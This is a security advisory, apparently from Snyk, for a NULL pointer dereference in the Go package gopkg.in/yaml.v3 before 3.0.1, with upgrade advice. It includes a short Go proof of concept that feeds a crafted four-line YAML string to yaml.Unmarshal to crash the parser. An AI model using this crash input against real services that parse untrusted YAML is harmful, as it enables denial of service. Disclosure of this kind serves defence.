NULL Pointer Dereference Affecting gopkg.in/yaml.v3 package, versions <3.0.1


0.0
high

Snyk CVSS

    Attack Complexity Low
    Availability High

    Threat Intelligence

    Exploit Maturity Proof of concept

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  • Snyk ID SNYK-GOLANG-GOPKGINYAMLV3-2952714
  • published 17 Jul 2022
  • disclosed 27 May 2022
  • credit Bradley Kemp

Introduced: 27 May 2022

CVE NOT AVAILABLE CWE-476 Open this link in a new tab

How to fix?

Upgrade gopkg.in/yaml.v3 to version 3.0.1 or higher.

Overview

gopkg.in/yaml.v3 is a YAML support package for the Go language.

Affected versions of this package are vulnerable to NULL Pointer Dereference when parsing #\n-\n-\n0 via the parserc.go parser.

PoC

package main

import (
    "gopkg.in/yaml.v3"
)

func main() {
    var t interface{}
    yaml.Unmarshal([]byte("#\n-\n-\n0"), &t)
}